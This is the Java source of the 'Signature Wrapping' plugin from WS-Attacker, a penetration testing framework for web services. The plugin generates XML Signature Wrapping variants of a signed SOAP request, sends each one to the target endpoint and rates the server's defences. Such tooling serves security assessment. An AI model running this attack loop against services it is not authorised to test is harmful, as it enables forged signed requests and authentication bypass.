/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2011 Christian Mainka * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.signatureWrapping; import com.eviware.soapui.impl.wsdl.support.soap.SoapUtils; import com.eviware.soapui.impl.wsdl.support.soap.SoapVersion; import java.io.*; import java.util.*; import javax.xml.xpath.XPathExpressionException; import org.apache.xmlbeans.XmlException; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.xml.sax.SAXException; import wsattacker.http.transport.SoapHttpClient; import wsattacker.http.transport.SoapHttpClientFactory; import wsattacker.http.transport.SoapResponse; import wsattacker.library.schemaanalyzer.SchemaAnalyzer; import wsattacker.library.schemaanalyzer.SchemaAnalyzerFactory; import wsattacker.library.signatureWrapping.option.Payload; import wsattacker.library.signatureWrapping.util.exception.InvalidWeaknessException; import wsattacker.library.signatureWrapping.util.signature.SignatureManager; import wsattacker.library.signatureWrapping.xpath.weakness.util.WeaknessLog; import wsattacker.library.signatureWrapping.xpath.wrapping.WrappingOracle; import wsattacker.library.xmlutilities.dom.DomUtilities; import wsattacker.main.composition.plugin.AbstractPlugin; import wsattacker.main.composition.plugin.PluginFunctionInterface; import wsattacker.main.composition.testsuite.RequestResponsePair; import wsattacker.main.plugin.PluginState; import wsattacker.main.testsuite.TestSuite; import wsattacker.plugin.signatureWrapping.function.postanalyze.SignatureWrappingAnalyzeFunction; import wsattacker.plugin.signatureWrapping.function.postanalyze.model.AnalysisDataCollector; import wsattacker.plugin.signatureWrapping.option.OptionManager; /** * This class integrates the XSW Plugin into the WS-Attacker framework. */ public class SignatureWrapping extends AbstractPlugin { public static final String ANALYSISDATA_SUCCESSFUL_STRING = "Successful Attack"; public static final String ANALYSISDATA_NOFAULT_STRING = "No Fault Response"; public static final String ANALYSISDATA_NULL_STRING = "NULL Response"; public static final String ANALYSISDATA_NONXML_STRING = "Non XML Response"; private static final long serialVersionUID = 1L; private static final String NAME = "Signature Wrapping"; private static final String AUTHOR = "Christian Mainka"; private static final String[] CATEGORY = new String[] { "Security", "Signature" }; private static final String VERSION = "1.6 / 2015-05-20"; private SignatureManager signatureManager; private OptionManager optionManager; private SchemaAnalyzer schemaAnalyser; private SchemaAnalyzer usedSchemaAnalyser; private WrappingOracle wrappingOracle; private AnalysisDataCollector analysisData; private final int successThreashold = 70; private String originalSoapAction = null; /** * Initializes the XSW Plungin. Creates the SchemaAnalyzer, the SignatureManager and the OptionManger. */ @Override public void initializePlugin() { initData(); this.schemaAnalyser = SchemaAnalyzerFactory.getInstance( SchemaAnalyzerFactory.ALL ); this.usedSchemaAnalyser = schemaAnalyser; this.signatureManager = new SignatureManager(); this.optionManager = OptionManager.getInstance(); this.optionManager.setPlugin( this ); this.optionManager.setSignatureManager( signatureManager ); this.analysisData = new AnalysisDataCollector(); setPluginFunctions( new PluginFunctionInterface[] { new SignatureWrappingAnalyzeFunction( this ) } ); TestSuite.getInstance().getCurrentRequest().addCurrentRequestContentObserver( optionManager ); } public void initData() { setName( NAME ); setAuthor( AUTHOR ); setCategory( CATEGORY ); setVersion( VERSION ); StringBuilder description = new StringBuilder(); description.append( "<html><p>Tries several XML Signature Wrapping techniques to invoke a Service with unsigned content.</p>" ); description.append( "<p>Currently supported techniques:</p><ul>" ); description.append( "<li>Attack ID References.</li>" ); description.append( "<li>Abuse descendant* Axis, e.g. double-slash in XPath.</li>" ); description.append( "<li>Abuse attribute expressions in XPaths.</li>" ); description.append( "<li>Try namespace-injection attack to attack prefixes in XPaths.</li>" ); // description.append("The Attack can use XML Schema files to reduces the number of tries (and so speed up the attack) by creating only Schema-Valid attack requests."); // description.append("If some payload is marked as a timestamp, it will be updated and wrapped automatically."); // description.append("Note: In some cases, it makes sense to change the payload to a different operation."); // description.append("You can also change the SoapActionHeader if you like."); description.append( "</ul><p>" + "At least one signed part needs some valid XML payload, otherwise the plugin is <i>not configured</i>.</p></html>" ); // description.append("By default, the attack is successfull if the response is not a SOAP Error."); // description.append("To change this, a search string can be specified to ignore responses without this string."); setDescription( description.toString() ); } public void setUsedSchemaFiles( List<File> fileList ) { log().info( "Cleared all Schemas" ); schemaAnalyser = SchemaAnalyzerFactory.getInstance( SchemaAnalyzerFactory.EMPTY ); for ( File f : fileList ) { try { Document schema = DomUtilities.readDocument( f ); log().info( "Adding Schema " + f.getName() ); schemaAnalyser.appendSchema( schema ); } catch ( Exception e ) { log().warn( "Could not read Schema file '" + f.getName() + "'" ); } } } public void setSchemaAnalyzerDepdingOnOption() { if ( !optionManager.getOptionUseSchema().isOn() ) { usedSchemaAnalyser = SchemaAnalyzerFactory.getInstance( SchemaAnalyzerFactory.NULL ); } else { usedSchemaAnalyser = schemaAnalyser; } } /** * This is the attack implementation. Basically, it takes the original requests and asks the WrappingOracle for an * XSW message. All possibilities will be sent consecutively to the web service endpoint. The reply is then analyzed * if the attack was successful. */ @Override protected void attackImplementationHook( RequestResponsePair original ) { // should the soapaction be changed? // TODO: Fixme // if ( optionManager.getOptionSoapAction().getSelectedIndex() > 0 ) // { // originalSoapAction = attackRequest.getOperation().getAction(); // attackRequest.getOperation().setAction( optionManager.getOptionSoapAction().getValueAsString() ); // } analysisData = new AnalysisDataCollector(); wrappingOracle = new WrappingOracle( signatureManager.getDocument(), signatureManager.getPayloads(), usedSchemaAnalyser ); int signedElements = wrappingOracle.getCountSignedElements(); int elementsByID = wrappingOracle.getCountElementsReferedByID(); int elementsByXPath = wrappingOracle.getCountElementsReferedByXPath(); int elementsByFastXPath = wrappingOracle.getCountElementsReferedByFastXPath(); int elementsByPrefixfreeTransformedFastXPath = wrappingOracle.getCountElementsReferedByPrefixfreeTransformedFastXPath(); important( String.format( "%d signed Elements:\n--> %d by ID\n--> %d by XPath\n `--> %d by FastXPath\n `--> %d by prefix free FastXPath (best)", signedElements, elementsByID, elementsByXPath, elementsByFastXPath, elementsByPrefixfreeTransformedFastXPath ) ); // should the answer contain a specific string String searchString = optionManager.getOptionTheContainedString().getValue(); boolean search = ( !searchString.isEmpty() && optionManager.getOptionMustContainString().isOn() ); SoapHttpClient client = SoapHttpClientFactory.createSoapHttpClient( original.getWsdlRequest() ); // start attacking int successCounter = 0; int max = wrappingOracle.maxPossibilities(); Document attackDocument; info( "Found " + max + " wrapping possibilites." ); for ( int i = 0; i < max; ++i ) { info( "Trying possibility " + ( i + 1 ) + "/" + max ); try { attackDocument = wrappingOracle.getPossibility( i ); } catch ( InvalidWeaknessException e ) { log().warn( "Could not abuse the weakness. " + e.getMessage() ); continue; } catch ( Exception e ) { log().error( "Unknown error. " + e.getMessage() ); // critical("Unknown error. " + e.getMessage() + "\n" + // WeaknessLog.representation()); continue; } // DomUtilities.writeDocument(attackDocument, // String.format("/tmp/xsw/attack_%04d.xml", i+1), true); info( WeaknessLog.representation() ); String attackDocumentAsString = DomUtilities.domToString( attackDocument ); SoapResponse response; try { response = client.sendSoap( attackDocumentAsString ); } catch ( IOException ex ) { log().warn( "Could not submit the request. Trying next one. ", ex ); continue; } String responseContent = null; if ( response != null ) { responseContent = response.getBody(); } else { info( "Error: Got empty SOAP response." ); } if ( responseContent == null ) { trace( "Request:\n" + DomUtilities.showOnlyImportant( attackDocumentAsString ) ); important( "The server's answer was empty. Server misconfiguration?" ); analysisData.add( ANALYSISDATA_NULL_STRING, i, "" ); continue; } try { SoapVersion soapVersion = original.getWsdlRequest().getOperation().getInterface().getSoapVersion(); if ( SoapUtils.isSoapFault( responseContent, soapVersion ) ) { trace( "Request:\n" + DomUtilities.showOnlyImportant( attackDocumentAsString ) ); // trace("Request:\n" + // (submit.getRequest().getRequestContent())); info( "Server does not accept the message, you got a SOAP error." ); trace( "Response:\n" + DomUtilities.showOnlyImportant( responseContent ) ); // Now we have to find the SOAPFault reason: String xpath; if ( soapVersion.equals( SoapVersion.Soap11 ) ) { xpath = "/*[local-name()='Envelope'][1]/*[local-name()='Body'][1]/*[local-name()='Fault'][1]/*[local-name()='faultstring'][1]"; } else { xpath = "/*[local-name()='Envelope'][1]/*[local-name()='Body'][1]/*[local-name()='Fault'][1]/*[local-name()='Reason'][1]/*[local-name()='Text'][1]"; } // We have a valid response, saving Document doc; try { doc = DomUtilities.stringToDom( responseContent ); List<Element> match; try { match = (List<Element>) DomUtilities.evaluateXPath( doc, xpath ); StringBuilder sb = new StringBuilder(); for ( Element ele : match ) { sb.append( ele.getTextContent() ).append( " " ); } if ( sb.length() > 0 ) { analysisData.add( sb.toString(), i, responseContent ); } } catch ( XPathExpressionException ex ) { java.util.logging.Logger.getLogger( SignatureWrapping.class.getName() ).log( java.util.logging.Level.SEVERE, null, ex ); } } catch ( SAXException ex ) { java.util.logging.Logger.getLogger( SignatureWrapping.class.getName() ).log( java.util.logging.Level.SEVERE, null, ex ); } continue; } } catch ( XmlException e ) { trace( "Request:\n" + DomUtilities.showOnlyImportant( attackDocumentAsString ) ); // trace("Request:\n" + // (submit.getRequest().getRequestContent())); info( "The answer is not valid XML. Server missconfiguration?" ); analysisData.add( ANALYSISDATA_NONXML_STRING, i, responseContent ); continue; } if ( search ) { int index = responseContent.indexOf( searchString ); if ( index < 0 ) { info( "The answer does not contain the searchstring:\n" + searchString ); analysisData.add( ANALYSISDATA_NOFAULT_STRING, i, responseContent ); continue; } else { important( "The answer contains the searchstring:\n" + searchString ); analysisData.add( ANALYSISDATA_SUCCESSFUL_STRING, i, responseContent ); } } else { analysisData.add( ANALYSISDATA_SUCCESSFUL_STRING, i, responseContent ); } critical( "Server Accepted the Request with Possibility " + ( i + 1 ) + "." ); important( String.format( "Attack-Vector:\n\n%s\nRequest:\n%s", WeaknessLog.representation(), DomUtilities.showOnlyImportant( attackDocumentAsString ) ) ); info( "Response:\n" + DomUtilities.showOnlyImportant( responseContent ) ); setCurrentPoints( getMaxPoints() ); ++successCounter; if ( optionManager.getAbortOnFirstSuccess().isOn() ) { break; } } // Generate Result // /////////////// String message = ""; if ( getCurrentPoints() >= successThreashold ) { message = "CRITICAL: Server could be successfully attacked!"; } else if ( signedElements == elementsByPrefixfreeTransformedFastXPath ) { setCurrentPoints( 0 ); message = "Everything is Okay: Server uses transformed prefix-free FastXPath. Best practices."; } else if ( signedElements == elementsByFastXPath ) { setCurrentPoints( 10 ); message = "Good: Server uses FastXPath."; } else if ( signedElements == elementsByXPath ) { setCurrentPoints( 20 ); message = "Okay: Server uses XPaths, but could not be successfully attacked."; } else if ( elementsByXPath > 0 && elementsByID > 0 ) { setCurrentPoints( 20 ); message = "Warning: Server uses ID References and XPaths mixed. Only XPaths are recommended."; } else if ( signedElements == elementsByID ) { setCurrentPoints( 20 ); message = "Warning: Server uses ID References but could not be successfully attacked."; } else { message = "### This is a not expected result"; } // print result if ( getCurrentPoints() < successThreashold ) { important( message ); } else { critical( message ); } if ( successCounter > 0 && !optionManager.getAbortOnFirstSuccess().isOn() ) { important( String.format( "Found %d of %d working XSW messages.", successCounter, max ) ); } } /** * The attack is only successful if the XSW message is accepted. */ @Override public boolean wasSuccessful() { return isFinished() && getCurrentPoints() >= successThreashold; } public void checkState() { // Change does not have payload -> Check if we have still *any* payload log().debug( "### CHECK_STATE" ); List<Payload> list = signatureManager.getPayloads(); if ( list.isEmpty() ) { log().debug( "### List Empty -> Not_Configured" ); // No possible payloads found -> Request does not have a Signature setState( PluginState.Not_Configured ); } else { for ( Payload payload : list ) { if ( log().isDebugEnabled() ) { log().debug( String.format( "### Checking Option %s", payload.toString() ) ); } if ( payload.isTimestamp() || payload.hasPayload() ) { setState( PluginState.Ready ); return; } } log().debug( "### Finally -> Not_Configured" ); setState( PluginState.Not_Configured ); } } /** * Clean means to remove the attack request, set the current points to zero and check the plugin state. */ @Override public void clean() { setCurrentPoints( 0 ); checkState(); } /** * If the plugin is stopped by user interaction, the attack request must be removed. */ @Override public void stopHook() { } public SignatureManager getSignatureManager() { return signatureManager; } public SchemaAnalyzer getUsedSchemaAnalyser() { return usedSchemaAnalyser; } public AnalysisDataCollector getAnalysisData() { return analysisData; } // TODO: Remove this, only for building GUI... public void setAnalysisData( AnalysisDataCollector testData ) { this.analysisData = testData; } public WrappingOracle getWrappingOracle() { return wrappingOracle; } }